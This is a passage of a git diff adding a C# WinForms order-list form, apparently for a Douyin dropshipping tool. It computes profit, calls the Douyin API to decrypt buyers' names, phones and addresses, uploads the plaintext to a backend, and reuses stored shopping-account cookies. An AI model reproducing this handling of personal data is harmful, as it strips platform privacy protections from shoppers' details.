System.Windows.Forms.DataGridViewTextBoxColumn col_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_c_biz_desc; + private System.Windows.Forms.DataGridViewTextBoxColumn productSku; + private System.Windows.Forms.DataGridViewImageColumn productImgSku; + private System.Windows.Forms.DataGridViewTextBoxColumn productSellingPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn col_buy_price; + private System.Windows.Forms.DataGridViewTextBoxColumn commission_scale; + private System.Windows.Forms.DataGridViewTextBoxColumn commission; + private System.Windows.Forms.DataGridViewTextBoxColumn profit; + private System.Windows.Forms.DataGridViewTextBoxColumn productCount; + private System.Windows.Forms.DataGridViewLinkColumn col_order_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_mobile; + private System.Windows.Forms.DataGridViewTextBoxColumn col_address; + private System.Windows.Forms.DataGridViewTextBoxColumn col_create_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_order_promise_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_order_send_remaining_time; + private System.Windows.Forms.DataGridViewTextBoxColumn buyOrderTime; + private System.Windows.Forms.DataGridViewLinkColumn buyOrderNum; + private System.Windows.Forms.DataGridViewTextBoxColumn buyOrderUser; + private System.Windows.Forms.DataGridViewTextBoxColumn expressName; + private System.Windows.Forms.DataGridViewTextBoxColumn expressNo; + private System.Windows.Forms.DataGridViewTextBoxColumn col_remark; + private System.Windows.Forms.DataGridViewTextBoxColumn sendOrderErrorMsg; + private DevComponents.DotNetBar.PanelEx pnlUpdateOrderInfo; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/SendOrderListForms.cs b/29WxOrder/OrderForms/SendOrderListForms.cs new file mode 100644 index 0000000..f8b8a81 --- /dev/null +++ b/29WxOrder/OrderForms/SendOrderListForms.cs @@ -0,0 +1,858 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Model.Result; +using _29WxOrder.BuyForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; +using Work.BuyUsers; + +namespace _29WxOrder.OrderForms +{ + public partial class SendOrderListForms : Form + { + public MainForm mainform; + bool isread = false; + + public SendOrderListForms() + { + InitializeComponent(); + } + + private void SendOrderForms_Load(object sender, EventArgs e) + { + SetDgvHeaders(false); + readData(); + } + + public void readData() + { + if (isread) + { + BaseMsgForm.ShowInfo("正在读取待发货订单中,请等待读单完成", "提示"); + return; + } + new Thread(SetRows).Start(); + } + + /// + /// 计算商品利润 + /// + /// + /// + public static double GetLirun(DouYinOrderModel douYinOrderModel) + { + double lirun = 0.00; + + try + { + if (!douYinOrderModel.c_biz_desc.Contains("精选联盟")) + lirun = Convert.ToDouble(douYinOrderModel.price) - Convert.ToDouble(douYinOrderModel.buy_price); + else + lirun = Convert.ToDouble(douYinOrderModel.price) - Convert.ToDouble(douYinOrderModel.buy_price) - Convert.ToDouble(string.IsNullOrEmpty(douYinOrderModel.commission) ? "0.00" : douYinOrderModel.commission); + } + catch (Exception) + { + lirun = 0.00; + } + return lirun; + } + + public void SetRows() + { + isread = true; + int datacount = 0; + int page = 0; + int pageSize = 100; + Invoke(new Action(() => { DgvSendOrderList.Rows.Clear(); })); + CollectionClass.orderSenderDataList.Clear(); + + downpage: + string urlx = BaseClass.LoginApiUrl + "?obj=douyin/order&act=get"; + string datax = UserLogin.GetSignaturex("", "") + "&order_status_buy=2,3,5&page=" + page + "&pageSize=" + pageSize; + string html = GetHtml.PostUtf8(urlx, datax); + if (string.IsNullOrEmpty(html)) + { + isread = false; + return; + } + if (!html.Contains("\"code\":200")) + { + isread = false; + return; + } + if (string.IsNullOrEmpty(JObject.Parse(html)["data"].ToString())) + { + isread = false; + return; + } + // {"code": 400,"data": []} + var jArr = JObject.Parse(html)["data"]["list"]; + + datacount = Convert.ToInt32(JObject.Parse(html)["data"]["count"]); + foreach (JObject jObj in jArr) + { + string orderStr = jObj.ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(orderStr.Replace("\r\n", "")); + + Invoke(new Action(() => + { + try + { + DgvAddRowByDouYinOrderModel(DgvSendOrderList, douYinOrderModel); + } + catch (Exception ex) + { } + })); + CollectionClass.orderSenderDataList.Add(douYinOrderModel); + } + if (Math.Ceiling(datacount / Convert.ToDouble(pageSize)) > page + 1) + { + page++; + goto downpage; + } + isread = false; + } + + public static string GetxxxString(string Input) + { + string Output = ""; + switch (Input.Length) + { + case 1: + Output = "*"; + break; + case 2: + Output = Input[0] + "*"; + break; + case 3: + Output = Input[0] + "*"; + break; + case 4: + Output = Input[0] + "*"; + break; + case 6: + Output = Input; + break; + case 0: + Output = ""; + break; + default: + Output = Input.Substring(0, 7); + for (int i = 0; i < Input.Length - 7; i++) + { + Output += "*"; + } + break; + } + return Output; + } + public void outexcel() + { + OutExcel.ExportToExcel(OutExcel.ToDataTable(DgvSendOrderList)); + } + public void SetDgvHeaders(bool isEditDgvHeaders = true) + { + if (isEditDgvHeaders) + { + DgvHeaderEditForm df = new DgvHeaderEditForm(this.DgvSendOrderList); + df.TitleText = "编辑待发货列表表头"; + df.ShowDialog(); + } + DgvHeaderEditForm.SetDgvHeaderVisible(this.DgvSendOrderList, false); + } + private void sendOrderListDgv_CellMouseLeave(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex != -1) + { + if (e.RowIndex % 2 == 0) + { + DgvSendOrderList.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.FromArgb(244, 244, 244); + } + else + { + DgvSendOrderList.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.White; + } + + } + } + + private void sendOrderListDgv_CellMouseEnter(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var orderId = DgvSendOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + var order = CollectionClass.orderSenderDataList.FirstOrDefault(x => x.order_id == orderId); + if (order != null) + { + if (DgvSendOrderList.Rows[e.RowIndex].Cells[e.ColumnIndex] == DgvSendOrderList.Rows[e.RowIndex].Cells["productImgSku"]) + { + try + { + var original = Image.FromStream(System.Net.WebRequest.Create(order.sku_img).GetResponse().GetResponseStream()); + var skuImg = new Bitmap(original, new Size(216, 216)); + mainform.skuimg(skuImg); + } + catch (Exception) + { + } + } + else + { + mainform.skuimghide(); + } + } + } + + public void DgvAddRowByDouYinOrderModel(DataGridView dgv, DouYinOrderModel douYinOrderModel) + { + TimeSpan ts1 = new TimeSpan(Convert.ToDateTime(douYinOrderModel.create_time).Ticks); + TimeSpan ts2 = new TimeSpan(DateTime.Now.AddHours(-48).Ticks); + TimeSpan ts = ts1.Subtract(ts2).Duration(); + + dgv.Rows.Add( + /*"店铺编号"*/ douYinOrderModel.shop_id, + /*"店铺名称"*/ douYinOrderModel.shop_name, + /*"商品标题"*/ douYinOrderModel.title, + /*"上家ID"*/ (string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids), + /*"本店ID"*/ douYinOrderModel.product_id, + /*"商品描述"*/ douYinOrderModel.c_biz_desc, + /*"规格"*/ douYinOrderModel.sku, + /*"图片"*/ BuyOrderListForm.GetSkuImage(douYinOrderModel.sku_img), + /*"售价"*/ douYinOrderModel.price, + /*"进价"*/ douYinOrderModel.buy_price, + /*"佣金比例"*/ string.IsNullOrEmpty(douYinOrderModel.commission_scale) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission_scale, + /*"佣金"*/ string.IsNullOrEmpty(douYinOrderModel.commission) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission, + /*"利润"*/ GetLirun(douYinOrderModel), + /*"数量"*/ douYinOrderModel.count, + /*"买家订单号"*/ douYinOrderModel.order_id, + /*"买家姓名"*/ douYinOrderModel.name, //*"买家姓名"*/ GetxxxString(douYinOrderModel.name), + /*"买家电话"*/ douYinOrderModel.mobile, //*"买家电话"*/ GetxxxString(douYinOrderModel.mobile), + /*"买家地址"*/ douYinOrderModel.address, //*"买家地址"*/ GetxxxString(douYinOrderModel.address), + /*"订单确认时间"*/ douYinOrderModel.create_time, + /*"延迟发货时间"*/ Convert.ToDateTime(douYinOrderModel.create_time).AddHours(48).ToString("yyyy-MM-dd HH:mm:ss"), + /*"延迟剩余"*/ (ts2 > ts1 ? "超 " : "") + ts.Days.ToString("D2") + "天" + ts.Hours.ToString("D2") + "时" + ts.Minutes.ToString("D2") + "分", + /*"拍单时间"*/ douYinOrderModel.buy_time.ParseToDateTime() <= new DateTime(2021, 1, 1, 1, 1, 1) ? "--" : douYinOrderModel.buy_time, + /*"拍单订单号"*/ douYinOrderModel.order_id_buy, + /*"买手号"*/ douYinOrderModel.buyer_mobile, + /*"物流公司"*/ douYinOrderModel.express_name, + /*"物流单号"*/ douYinOrderModel.express_no, + /*"物流单号"*/ douYinOrderModel.remark, + /*"发货异常"*/ douYinOrderModel.send_order_error_msg + ); + } + + /// + /// 更新列 + /// + /// + /// 1 添加 修改 2删除 + public void SetOrderEditShowInDgvRows(DouYinOrderModel douYinOrderModel, int type) + { + Invoke(new Action(() => + { + try + { + IEnumerable enumerableList = this.DgvSendOrderList.Rows.Cast(); + List list = (from item in enumerableList + where item.Cells["col_order_id"].Value.ToString() == douYinOrderModel.order_id + select item).ToList(); + if (type == 1) + { + if (list.Count == 0) + { + DgvAddRowByDouYinOrderModel(DgvSendOrderList, douYinOrderModel); + } + else + { + var item = DgvSendOrderList.Rows[list[0].Index]; + item.Cells["col_buy_price"].Value = douYinOrderModel.buy_price; + item.Cells["col_name"].Value = douYinOrderModel.name; + item.Cells["col_mobile"].Value = douYinOrderModel.mobile; + item.Cells["col_address"].Value = douYinOrderModel.address; + item.Cells["sendOrderErrorMsg"].Value = douYinOrderModel.send_order_error_msg; + item.Cells["expressName"].Value = douYinOrderModel.express_name; + item.Cells["expressNo"].Value = douYinOrderModel.express_no; + item.Cells["buyOrderUser"].Value = douYinOrderModel.buyer_mobile; + item.Cells["col_remark"].Value = douYinOrderModel.remark; + } + + } + else if (type == 2) + { + if (list.Count > 0) + { + this.DgvSendOrderList.Rows.RemoveAt(list[0].Index); + } + + } + else if (type == 3) + { + if (list.Count > 0) + { + var item = DgvSendOrderList.Rows[list[0].Index]; + item.Cells["commission"].Value = string.IsNullOrEmpty(douYinOrderModel.commission) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission; + item.Cells["commission_scale"].Value = string.IsNullOrEmpty(douYinOrderModel.commission_scale) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission_scale; + item.Cells["profit"].Value = GetLirun(douYinOrderModel); + } + } + } + catch (Exception ex) + { + + } + })); + } + + public bool SelectOrder(string order_id) + { + IEnumerable enumerableList = this.DgvSendOrderList.Rows.Cast(); + bool isexist = false; + for (int i = 0; i < DgvSendOrderList.Rows.Count; i++) + { + string orderid = DgvSendOrderList.Rows[i].Cells["col_order_id"].Value.ToString(); + string ordermobile = DgvSendOrderList.Rows[i].Cells["col_mobile"].Value.ToString(); + string orderusername = DgvSendOrderList.Rows[i].Cells["col_name"].Value.ToString(); + string title = DgvSendOrderList.Rows[i].Cells["col_title"].Value.ToString(); + string productId = DgvSendOrderList.Rows[i].Cells["col_product_id"].Value.ToString(); + string buyOrderNumber = DgvSendOrderList.Rows[i].Cells["buyOrderNum"].Value.ToString(); + if (string.IsNullOrEmpty(order_id) || orderid.Contains(order_id) || ordermobile.Contains(order_id) || orderusername.Contains(order_id) || + title.Contains(order_id) || productId.Contains(order_id) || buyOrderNumber.Contains(order_id)) + { + DgvSendOrderList.Rows[i].Visible = true; + isexist = true; + } + else + { + DgvSendOrderList.Rows[i].Visible = false; + } + } + return isexist; + } + + /// + /// 点击行列 + /// + private DataGridViewCellMouseEventArgs mouseEvent; + private void MenuItem_Click(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var buyOrderId = DgvSendOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + switch (tsmenu.Text) + { + case "编辑": + DouYinOrderModel orderDetail = CollectionClass.orderSenderDataList.Find(x => x.order_id == buyOrderId); + OrderEdit ed = new OrderEdit(); + ed.sendOrderForms = this; + ed.formtype = 1; + ed.orderDetail = orderDetail; + ed.ShowDialog(); + break; + case "待拍单": + updateStatus(buyOrderId, 1); + break; + case "上家已发货": + updateStatus(buyOrderId, 3); + break; + case "发货完成": + updateStatus(buyOrderId, 0); + break; + case "发货(直接发货)": + ExpressOrderForm exp = new ExpressOrderForm(); + exp.buyOrderId = buyOrderId; + exp.mainform = mainform; + exp.types = 2; + exp.ShowDialog(); + //mainform.logisticsAddOrder(buyOrderId, 2); + break; + case "更新订单": + if (!threadUpadateOrder) + { + new Thread(updateOrderDetail).Start(); + } + else + { + BaseMsgForm.ShowInfo("订单更新中,请等待当前更新任务完成。", "提示"); + } + break; + } + } + bool threadUpadateOrder = false; + void updateOrderDetail() + { + List listSelectedRow = new List(); + List list_orderid = new List(); + int cellindex = 0; + for (int i = 0; i < DgvSendOrderList.Rows.Count; i++) + { + #region 获取多选列取行数据 + if (cellindex == 0) + { + for (int k = 0; k < DgvSendOrderList.ColumnCount; k++) + { + if (DgvSendOrderList.Rows[i].Cells[k].Selected) + { + cellindex = k; + break; + } + } + } + if (cellindex > 0) + { + DataGridViewRow dvr = DgvSendOrderList.Rows[i].Cells[cellindex].OwningRow; + if (DgvSendOrderList.Rows[i].Cells[cellindex].Selected) + { + listSelectedRow.Add(dvr); + } + } + #endregion + + if (DgvSendOrderList.SelectedRows.Count > 0) + { + if (DgvSendOrderList.Rows[i].Selected == true) + { + string sendorderid = DgvSendOrderList.Rows[i].Cells["col_order_id"].Value.ToString(); + if (sendorderid != null) + { + list_orderid.Add(sendorderid); + } + } + } + } + if (list_orderid.Count == 0 && listSelectedRow.Count > 0) + { + foreach (DataGridViewRow dgvrows in listSelectedRow) + { + list_orderid.Add(dgvrows.Cells["col_order_id"].Value.ToString()); + } + } + threadUpadateOrder = true; + try + { + int upNum = 0; + Invoke(new Action(() => + { + pnlUpdateOrderInfo.Visible = true; + pnlUpdateOrderInfo.Location = new Point(pnlUpdateOrderInfo.Parent.Width / 2 - pnlUpdateOrderInfo.Width / 2, pnlUpdateOrderInfo.Parent.Height / 2 - pnlUpdateOrderInfo.Height / 2); + })); + foreach (string orderid in list_orderid) + { + upNum++; + Invoke(new Action(() => + { + pnlUpdateOrderInfo.Text = "正在更新订单" + upNum + "/" + list_orderid.Count; + pnlUpdateOrderInfo.Location = new Point(pnlUpdateOrderInfo.Parent.Width / 2 - pnlUpdateOrderInfo.Width / 2, pnlUpdateOrderInfo.Parent.Height / 2 - pnlUpdateOrderInfo.Height / 2); + })); + + #region 更新订单 + DouYinOrderModel douYinOrderModel = CollectionClass.orderSenderDataList.Find(x => x.order_id == orderid); + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == douYinOrderModel.shop_id.ToString()); + if (douYinOrderModel != null) + { + if (shop != null) + { + DouyinApi dyapi = new DouyinApi(shop); + Dictionary dic = new Dictionary() { }; + dic.Add("shop_order_id", douYinOrderModel.order_id); + dyapi.JsonData = dic; + string htmljm = dyapi.GetOrderDetail(); + string code = JObject.Parse(htmljm)["code"]?.ToString(); + if (code == "10000") + { + // 订单状态1 待确认/待支付(订单创建完毕)105 已支付 2 备货中 101 部分发货 3 已发货(全部发货)4 已取消5 已完成(已收货) + string order_status = JObject.Parse(htmljm)["data"]["shop_order_detail"]["order_status"].ToString(); + // 3 已发货(全部发货)4 已取消 5 已完成(已收货) + if (order_status == "3" || order_status == "4" || order_status == "5") + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + douYinOrderModel.order_id); + if (order_status == "4") + sb.Append("&order_status_buy=4"); + else + sb.Append("&order_status_buy=0"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + sb.Append("&remark=" + douYinOrderModel.remark); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + var aa = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + CollectionClass.orderSenderDataList.Remove(douYinOrderModel); + + SetOrderEditShowInDgvRows(douYinOrderModel, 2); + } + else + { + StringBuilder sb = new StringBuilder(); + if (douYinOrderModel.buyer_mobile.Contains("失败") || douYinOrderModel.buyer_mobile.Contains("$1$$") || douYinOrderModel.mobile == "******") + { + #region 解密 + string name_encrypt = JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_receiver"].ToString(); + string mobile_encrypt = JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_tel"].ToString(); + dic = new Dictionary() { }; + dic.Add("cipher_infos", "[{\"auth_id\":\"" + douYinOrderModel.order_id + "\",\"cipher_text\":\"" + name_encrypt + "\"}," + + "{\"auth_id\":\"" + douYinOrderModel.order_id + "\",\"cipher_text\":\"" + mobile_encrypt + "\"}," + + "{\"auth_id\":\"" + douYinOrderModel.order_id + "\",\"cipher_text\":\"" + JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["encrypt_detail"].ToString() + "\"}" + + "]"); + string expname = "", expmobile = "", expaddress = ""; + if (shop != null) + { + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + string htmljm_h = apix.GetOrderBatchDecrypt(); + string codejm = JObject.Parse(htmljm)["code"]?.ToString(); + if (codejm == "10000") + { + var jArrJM = JObject.Parse(htmljm_h)["data"]["decrypt_infos"]; + foreach (var itemjm in jArrJM) + { + string cipher_text = JObject.Parse(itemjm.ToString())["cipher_text"].ToString(); + if (cipher_text == name_encrypt) + { + expname = JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + else if (cipher_text == mobile_encrypt) + { + expmobile = JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + else + { + //省 + string province = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["province"]["name"].ToString(); + //市 + string city = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["city"]["name"].ToString(); + //区 + string town = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["town"]["name"].ToString(); + //街道 + string street = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["street"]["name"].ToString(); + expaddress = province + city + town + street + JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + + //姓名 JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_receiver"].ToString() + //电话 JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_tel"].ToString() + //详细地址 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["encrypt_detail"].ToString() + //省 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["province"]["name"].ToString() + //市 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["city"]["name"].ToString() + //区 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["town"]["name"].ToString() + //街道 JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["street"]["name"].ToString() + } + } + } + if (expmobile.Contains("失败") || expmobile.Contains("$1$$") || expmobile == "******") + { + expaddress = expmobile = expname = "解密失败.."; + } + douYinOrderModel.name = expname; + douYinOrderModel.mobile = expmobile; + douYinOrderModel.address = expaddress; + sb.Append("&name=" + GetHtml.UrlEncodeUtf8(expname)); + sb.Append("&mobile=" + GetHtml.UrlEncodeUtf8(expmobile)); + sb.Append("&address=" + GetHtml.UrlEncodeUtf8(expaddress)); + #endregion + } + douYinOrderModel.remark = JObject.Parse(htmljm)["data"]["shop_order_detail"]["seller_words"].ToString(); + string buyPrice = new AutoConfirmExpress("").CheckOrderPrice(douYinOrderModel.order_id_buy, douYinOrderModel.order_id, douYinOrderModel.buyer_mobile); + + if (!string.IsNullOrEmpty(buyPrice)) + { + douYinOrderModel.buy_price = buyPrice; + sb.Append("&buy_price=" + buyPrice); + } + sb.Append("&order_id=" + douYinOrderModel.order_id); + sb.Append("&remark=" + douYinOrderModel.remark); + sb.Append("&is_update_order=0");//1修改状态0不修改状态 + + string url = BaseClass.DouYinBuildObjString("order&act=update"); + string htmjg = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + SetOrderEditShowInDgvRows(douYinOrderModel, 1); + } + } + } + if (BaseClass.isUseSimGetRealAddress || douYinOrderModel.name.Contains("解密失败") || douYinOrderModel.mobile.Contains("$1$$") || douYinOrderModel.mobile == "******") + { + Task.Run(() => + { + if (shop != null && douYinOrderModel != null) + mainform.GetRealAddressSim(shop, douYinOrderModel); + }); + } + } + #endregion + } + + } + catch (Exception) + { + + } + Invoke(new Action(() => + { + pnlUpdateOrderInfo.Visible = false; + })); + threadUpadateOrder = false; + } + + + + #region 修改dgv列表的自定义总店上家Id1 + public void RreshUpIds(string orderid) + { + for (int i = 0; i < DgvSendOrderList.Rows.Count; i++) + { + var item = DgvSendOrderList.Rows[i]; + var tempPid = item.Cells["col_order_id"].Value == null ? "" : item.Cells["col_order_id"].Value.ToString(); + if (tempPid != orderid) + { + continue; + } + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + orderid); + string upjmurl = BaseClass.DouYinBuildObjString("order&act=get_detail"); + string html = GetHtml.PostUtf8(upjmurl, UserLogin.GetSignaturex() + sb.ToString()); + string data = JObject.Parse(html)["data"].ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(data.Replace("\r\n", "")); + if (douYinOrderModel != null) + { + DouYinOrderModel dym = CollectionClass.orderSenderDataList.Find(x => x.order_id == orderid); + if (dym != null) + { + CollectionClass.orderSenderDataList.Remove(dym); + CollectionClass.orderSenderDataList.Add(douYinOrderModel); + } + item.Cells["col_up_product_id"].Value = (string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids); + item.Cells["col_buy_price"].Value = douYinOrderModel.buy_price; + item.Cells["productCount"].Value = douYinOrderModel.count; + item.Cells["col_name"].Value = douYinOrderModel.name; + item.Cells["col_mobile"].Value = douYinOrderModel.mobile; + item.Cells["col_address"].Value = douYinOrderModel.address; + item.Cells["col_remark"].Value = douYinOrderModel.remark; + item.Cells["expressName"].Value = douYinOrderModel.express_name; + item.Cells["expressNo"].Value = douYinOrderModel.express_no; + item.Cells["buyOrderUser"].Value = douYinOrderModel.buyer_mobile; + item.Cells["buyOrderNum"].Value = douYinOrderModel.order_id_buy; + } + } + } + #endregion + + void updateStatus(string order_id, int status) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + order_id); + sb.Append("&order_status_buy=" + status); + sb.Append("&is_update_order=1");//1修改状态0不修改状态 + string upjmurl = BaseClass.DouYinBuildObjString("order&act=update"); + string html = GetHtml.PostUtf8(upjmurl, UserLogin.GetSignaturex() + sb.ToString()); + string code = JObject.Parse(html)["code"].ToString(); + + IEnumerable enumerableList = this.DgvSendOrderList.Rows.Cast(); + List list = (from item in enumerableList where item.Cells["col_order_id"].Value.ToString() == order_id select item).ToList(); + this.DgvSendOrderList.Rows.RemoveAt(list[0].Index); + + DouYinOrderModel dyorderModel = CollectionClass.orderSenderDataList.Find(x => x.order_id == order_id); + CollectionClass.orderSenderDataList.RemoveAll(x => x.order_id == order_id); + CollectionClass.orderDataList.Add(dyorderModel); + mainform.buyOrderListForm.SetOrderEditShowInDgvRows(dyorderModel, 1); + } + + private void sendOrderListDgv_CellMouseDown(object sender, DataGridViewCellMouseEventArgs e) + { + try + { + mouseEvent = e; + } + catch (Exception) + { + + } + } + + private void sendOrderListDgv_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string name = DgvSendOrderList.Columns[e.ColumnIndex].HeaderText; + if (name == "拍单订单号") + { + string buyOrderId = ""; + if (DgvSendOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value != null) + { + buyOrderId = DgvSendOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + } + string buyOrderNum = DgvSendOrderList.Rows[e.RowIndex].Cells["buyOrderNum"].Value.ToString(); + DouYinOrderModel douyinModel = CollectionClass.orderSenderDataList.Find(x => x.order_id == buyOrderId); + if (douyinModel != null) + { + string orderurl = ""; + string buycookies = ""; + if (buyOrderNum.Contains("-")) + { + // 多买手 + if (douyinModel.buyer_mobile.StartsWith("plbuy_")) + { + var pdduid = douyinModel.buyer_mobile.Replace("plbuy_", ""); + var mulitUserCookie = AllBase.Helper.GlobalConfig.LstMultiBuyer.Find(u => u.pdd_user_id == pdduid); + if (mulitUserCookie == null) + { + BaseMsgForm.ShowError("多买手拍单买手号未找到"); + return; + } + orderurl = "https://yangkeduo.com/order.html?order_sn=" + buyOrderNum + "&refer_page_name=my_order&refer_page_id=10032_1633690608873_o25zt3yc2e&refer_page_sn=10032"; + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单详情"; + buyProductBrower.Width = 405; + buyProductBrower.Height = 692; + buyProductBrower.cookies = "PDDAccessToken=" + mulitUserCookie.cookies + ";"; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + // 拼多多批发订单 + else if (douyinModel.buyer_mobile.StartsWith("pdd")) + { + var pddPifaBuyer = AllBase.Helper.GlobalConfig.LstPddPifaShop.FirstOrDefault(s => s.PddId == douyinModel.buyer_mobile); + if (pddPifaBuyer == null) + { + BaseMsgForm.ShowError("拼多多批发拍单买手号未找到"); + return; + } + buycookies = pddPifaBuyer.CookieStr; + orderurl = "https://pifa.pinduoduo.com/order"; + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "订单列表 " + douyinModel.order_id_buy; + buyProductBrower.Width = 1280; + buyProductBrower.Height = 700; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + else + { + var dicbuyer = PddBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.UserName == douyinModel.buyer_mobile); + if (dicbuyer.Key == null) + { + BaseMsgForm.ShowError("拼多多拍单买手号未找到"); + return; + } + for (int kk = 0; kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + orderurl = "https://yangkeduo.com/order.html?order_sn=" + buyOrderNum + "&refer_page_name=my_order&refer_page_id=10032_1633690608873_o25zt3yc2e&refer_page_sn=10032"; + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单详情"; + buyProductBrower.Width = 405; + buyProductBrower.Height = 692; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + } + else + { + var upId = this.DgvSendOrderList.Rows[e.RowIndex].Cells["col_up_product_id"].Value.ToString(); + if (ALBuyUser.buyUserCookies.Count > 0) + { + var dicbuyer = ALBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.UserName == douyinModel.buyer_mobile); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + } + + if (string.IsNullOrEmpty(buycookies)) + { + if (TaoBaoBuyUser.buyUserCookies.Count > 0) + { + var dicbuyer = TaoBaoBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.UserName == douyinModel.buyer_mobile); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + } + } + orderurl = "https://buyertrade.taobao.com/trade/detail/trade_item_detail.htm?bizOrderId=" + buyOrderNum; + if (upId.StartsWith("al-") || upId.StartsWith("1688-")) + orderurl = "https://trade.1688.com/order/order_detail.htm?spm=a360q.8274423.0.0.49c84c9apfOGVj&order_id=" + buyOrderNum; + if (string.IsNullOrEmpty(buycookies)) + { + BaseMsgForm.ShowConfirm("无此买手号", "提示"); + return; + } + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单详情"; + buyProductBrower.buyermobile = douyinModel.buyer_mobile; + buyProductBrower.Width = 1080; + buyProductBrower.Height = 700; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + } + } + else if (name == "订单号") + { + string orderid = DgvSendOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + string shopid = DgvSendOrderList.Rows[e.RowIndex].Cells["col_shop_id"].Value.ToString(); + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == shopid); + if (shop != null) + { + ShopForms.ShopBrower shopBrower = new ShopForms.ShopBrower(); + shopBrower.TitleText = "店铺后台"; + shopBrower.shop = shop; + shopBrower.WindowState = FormWindowState.Maximized; + shopBrower.webUrl = "https://fxg.jinritemai.com/ffa/morder/order/detail?id=" + orderid; + shopBrower.Show(); + } + } + } + + private void colore_clicke(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var orderId = DgvSendOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); 